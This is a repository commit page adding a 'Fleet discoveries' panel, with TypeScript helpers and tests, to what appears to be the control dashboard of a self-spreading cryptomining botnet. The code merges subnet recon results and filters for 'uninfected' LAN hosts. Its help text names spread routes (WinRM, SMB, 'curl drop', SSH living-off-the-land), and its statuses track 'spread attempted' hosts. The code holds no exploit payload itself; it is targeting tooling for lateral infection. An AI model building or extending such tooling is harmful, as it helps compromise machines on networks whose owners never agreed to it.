Add Fleet discoveries panel to Deploy Recon for uninfected hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Merges agent subnet recon with manual scans, filters by subnet/port, and live-updates via subnet_discovery_update WS.
This commit is contained in:
82
server/web/src/help/fleetDiscoveries.test.ts
Normal file
82
server/web/src/help/fleetDiscoveries.test.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
DEFAULT_DISCOVERY_FILTERS,
|
||||
filterDiscoveryRows,
|
||||
manualScanToDiscovery,
|
||||
mergeDiscoveryRows,
|
||||
parseSubnetDiscoveryUpdate,
|
||||
sortDiscoveryRows,
|
||||
} from './fleetDiscoveries';
|
||||
import type { DiscoveredHost, ReconScanReport } from '../types/recon';
|
||||
|
||||
const agentHost = (ip: string, ports: number[], last: string): DiscoveredHost => ({
|
||||
ip,
|
||||
open_ports: ports,
|
||||
reporter_agent_id: 'agent-1',
|
||||
subnet_prefix: '10.0.1.x',
|
||||
last_seen: last,
|
||||
status: 'uninfected',
|
||||
source: 'agent',
|
||||
});
|
||||
|
||||
describe('parseSubnetDiscoveryUpdate', () => {
|
||||
it('parses flat row payload from WS', () => {
|
||||
const hosts = parseSubnetDiscoveryUpdate({
|
||||
ip: '10.0.1.50',
|
||||
open_ports: [22, 445],
|
||||
reporter_agent_id: 'a1',
|
||||
subnet_prefix: '10.0.1',
|
||||
last_seen: '2026-06-07T10:00:00Z',
|
||||
status: 'uninfected',
|
||||
});
|
||||
expect(hosts).toHaveLength(1);
|
||||
expect(hosts[0].open_ports).toEqual([22, 445]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('mergeDiscoveryRows', () => {
|
||||
it('merges manual scan ports into agent row by IP', () => {
|
||||
const manual: ReconScanReport = {
|
||||
host: '10.0.1.50',
|
||||
scanned_at: '2026-06-07T12:00:00Z',
|
||||
ports: [
|
||||
{ port: 22, open: true },
|
||||
{ port: 80, open: true },
|
||||
],
|
||||
};
|
||||
const merged = mergeDiscoveryRows(
|
||||
[agentHost('10.0.1.50', [445], '2026-06-07T10:00:00Z')],
|
||||
[manualScanToDiscovery(manual)],
|
||||
);
|
||||
expect(merged[0].open_ports).toEqual([22, 80, 445]);
|
||||
expect(merged[0].last_seen).toBe('2026-06-07T12:00:00Z');
|
||||
});
|
||||
});
|
||||
|
||||
describe('filterDiscoveryRows', () => {
|
||||
const rows = mergeDiscoveryRows(
|
||||
[
|
||||
agentHost('10.0.1.22', [22], '2026-06-07T10:00:00Z'),
|
||||
{
|
||||
...agentHost('10.0.2.5', [5985], '2026-06-07T11:00:00Z'),
|
||||
subnet_prefix: '10.0.2.x',
|
||||
},
|
||||
],
|
||||
[],
|
||||
);
|
||||
|
||||
it('filters by subnet prefix', () => {
|
||||
const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, subnet: '10.0.1' });
|
||||
expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']);
|
||||
});
|
||||
|
||||
it('filters by open port', () => {
|
||||
const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, port: '22' });
|
||||
expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']);
|
||||
});
|
||||
|
||||
it('sorts by last_seen descending', () => {
|
||||
const out = sortDiscoveryRows(rows, 'last_seen_desc');
|
||||
expect(out[0].ip).toBe('10.0.2.5');
|
||||
});
|
||||
});
|
||||
176
server/web/src/help/fleetDiscoveries.ts
Normal file
176
server/web/src/help/fleetDiscoveries.ts
Normal file
@@ -0,0 +1,176 @@
|
||||
import { ipToSubnet } from './reconRisk';
|
||||
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../types/recon';
|
||||
|
||||
export type DiscoverySort = 'last_seen_desc' | 'last_seen_asc' | 'ip_asc';
|
||||
|
||||
export interface DiscoveryFilters {
|
||||
subnet: string;
|
||||
port: string;
|
||||
sort: DiscoverySort;
|
||||
}
|
||||
|
||||
export const DEFAULT_DISCOVERY_FILTERS: DiscoveryFilters = {
|
||||
subnet: '',
|
||||
port: '',
|
||||
sort: 'last_seen_desc',
|
||||
};
|
||||
|
||||
/** Parse dashboard WS `subnet_discovery_update` — row payload or batch wrapper. */
|
||||
export function parseSubnetDiscoveryUpdate(payload: unknown): DiscoveredHost[] {
|
||||
if (!payload || typeof payload !== 'object') return [];
|
||||
const raw = payload as Record<string, unknown>;
|
||||
if (Array.isArray(raw.hosts)) {
|
||||
return raw.hosts.map(normalizeDiscoveredHost).filter(Boolean) as DiscoveredHost[];
|
||||
}
|
||||
if (raw.ip || raw.host) {
|
||||
const one = normalizeDiscoveredHost(raw);
|
||||
return one ? [one] : [];
|
||||
}
|
||||
if (raw.host && typeof raw.host === 'object') {
|
||||
const one = normalizeDiscoveredHost(raw.host);
|
||||
return one ? [one] : [];
|
||||
}
|
||||
return [];
|
||||
}
|
||||
|
||||
function normalizeDiscoveredHost(raw: unknown): DiscoveredHost | null {
|
||||
if (!raw || typeof raw !== 'object') return null;
|
||||
const h = raw as Record<string, unknown>;
|
||||
const ip = String(h.ip ?? h.host ?? '').trim();
|
||||
if (!ip) return null;
|
||||
const ports = normalizePorts(h.open_ports ?? h.ports);
|
||||
const subnet = String(h.subnet_prefix ?? h.subnet ?? ipToSubnet(ip)).trim() || ipToSubnet(ip);
|
||||
const lastSeen = String(h.last_seen ?? h.scanned_at ?? new Date().toISOString()).trim();
|
||||
return {
|
||||
ip,
|
||||
open_ports: ports,
|
||||
reporter_agent_id: h.reporter_agent_id ? String(h.reporter_agent_id) : undefined,
|
||||
subnet_prefix: subnet,
|
||||
http_title: h.http_title ? String(h.http_title) : undefined,
|
||||
first_seen: h.first_seen ? String(h.first_seen) : undefined,
|
||||
last_seen: lastSeen,
|
||||
status: normalizeStatus(h.status),
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
|
||||
function normalizePorts(raw: unknown): number[] {
|
||||
if (!Array.isArray(raw)) return [];
|
||||
return [...new Set(raw.map((p) => Number(p)).filter((n) => Number.isFinite(n) && n > 0))].sort(
|
||||
(a, b) => a - b,
|
||||
);
|
||||
}
|
||||
|
||||
function normalizeStatus(raw: unknown): DiscoveredHost['status'] {
|
||||
const s = String(raw ?? 'uninfected').toLowerCase();
|
||||
if (s === 'spread_attempted' || s === 'agent_online') return s;
|
||||
return 'uninfected';
|
||||
}
|
||||
|
||||
export function manualScanToDiscovery(report: ReconScanReport): DiscoveredHost {
|
||||
return {
|
||||
ip: report.host.trim(),
|
||||
open_ports: report.ports.filter((p) => p.open).map((p) => p.port),
|
||||
subnet_prefix: ipToSubnet(report.host) || report.host,
|
||||
http_title: report.crawl?.pages?.[0]?.title,
|
||||
first_seen: report.scanned_at,
|
||||
last_seen: report.scanned_at,
|
||||
status: 'uninfected',
|
||||
source: 'manual',
|
||||
};
|
||||
}
|
||||
|
||||
export function mergeDiscoveryRows(
|
||||
agentHosts: DiscoveredHost[],
|
||||
manualHosts: DiscoveredHost[],
|
||||
): DiscoveredHostRow[] {
|
||||
const map = new Map<string, DiscoveredHostRow>();
|
||||
|
||||
for (const h of agentHosts) {
|
||||
map.set(h.ip, { ...h, source: 'agent' });
|
||||
}
|
||||
|
||||
for (const m of manualHosts) {
|
||||
const prev = map.get(m.ip);
|
||||
if (!prev) {
|
||||
map.set(m.ip, { ...m, source: 'manual' });
|
||||
continue;
|
||||
}
|
||||
map.set(m.ip, {
|
||||
...prev,
|
||||
open_ports: [...new Set([...prev.open_ports, ...m.open_ports])].sort((a, b) => a - b),
|
||||
last_seen:
|
||||
new Date(m.last_seen).getTime() >= new Date(prev.last_seen).getTime()
|
||||
? m.last_seen
|
||||
: prev.last_seen,
|
||||
http_title: m.http_title || prev.http_title,
|
||||
source: prev.source === 'agent' ? 'agent' : 'manual',
|
||||
});
|
||||
}
|
||||
|
||||
return [...map.values()];
|
||||
}
|
||||
|
||||
export function filterDiscoveryRows(
|
||||
rows: DiscoveredHostRow[],
|
||||
filters: DiscoveryFilters,
|
||||
): DiscoveredHostRow[] {
|
||||
let out = rows.filter((r) => r.status === 'uninfected');
|
||||
const subnet = filters.subnet.trim();
|
||||
if (subnet) {
|
||||
const needle = subnet.toLowerCase();
|
||||
out = out.filter(
|
||||
(r) =>
|
||||
r.subnet_prefix.toLowerCase().includes(needle) ||
|
||||
r.ip.toLowerCase().startsWith(needle.replace('.x', '')),
|
||||
);
|
||||
}
|
||||
const port = parseInt(filters.port, 10);
|
||||
if (Number.isFinite(port) && port > 0) {
|
||||
out = out.filter((r) => r.open_ports.includes(port));
|
||||
}
|
||||
return sortDiscoveryRows(out, filters.sort);
|
||||
}
|
||||
|
||||
export function sortDiscoveryRows(
|
||||
rows: DiscoveredHostRow[],
|
||||
sort: DiscoverySort,
|
||||
): DiscoveredHostRow[] {
|
||||
const copy = [...rows];
|
||||
if (sort === 'ip_asc') {
|
||||
copy.sort((a, b) => a.ip.localeCompare(b.ip, undefined, { numeric: true }));
|
||||
return copy;
|
||||
}
|
||||
copy.sort((a, b) => {
|
||||
const ta = new Date(a.last_seen).getTime();
|
||||
const tb = new Date(b.last_seen).getTime();
|
||||
return sort === 'last_seen_asc' ? ta - tb : tb - ta;
|
||||
});
|
||||
return copy;
|
||||
}
|
||||
|
||||
export function discoveryStatusLabel(row: DiscoveredHostRow): string {
|
||||
if (row.status === 'agent_online') return 'In fleet';
|
||||
if (row.status === 'spread_attempted') return 'Spread attempted';
|
||||
return 'Not in fleet';
|
||||
}
|
||||
|
||||
export function discoverySubnetOptions(rows: DiscoveredHostRow[]): string[] {
|
||||
const set = new Set<string>();
|
||||
for (const r of rows) {
|
||||
if (r.subnet_prefix) set.add(r.subnet_prefix);
|
||||
}
|
||||
return [...set].sort();
|
||||
}
|
||||
|
||||
export function fmtDiscoveryTime(ts?: string): string {
|
||||
if (!ts) return '—';
|
||||
const d = new Date(ts);
|
||||
if (Number.isNaN(d.getTime())) return ts;
|
||||
return d.toLocaleString([], {
|
||||
month: 'short',
|
||||
day: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
});
|
||||
}
|
||||
@@ -115,6 +115,10 @@ describe('UI_HELP', () => {
|
||||
'dr_overview',
|
||||
'dr_port_matrix',
|
||||
'dr_path_prefix',
|
||||
'dr_fleet_discoveries',
|
||||
'dr_fleet_subnet_filter',
|
||||
'dr_fleet_port_filter',
|
||||
'dr_fleet_sort',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -237,4 +237,12 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
|
||||
dr_path_prefix:
|
||||
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
|
||||
dr_fleet_discoveries:
|
||||
'Merged view of agent subnet recon (WS subnet_discovery_update) and your manual POST /api/v1/recon/scan results. Shows uninfected LAN hosts with open fleet ports — not yet registered as agents.',
|
||||
dr_fleet_subnet_filter:
|
||||
'Narrow discoveries to one /24 prefix (e.g. 10.0.1.x). Agent reporters tag subnet_prefix from their local interface.',
|
||||
dr_fleet_port_filter:
|
||||
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
|
||||
dr_fleet_sort:
|
||||
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user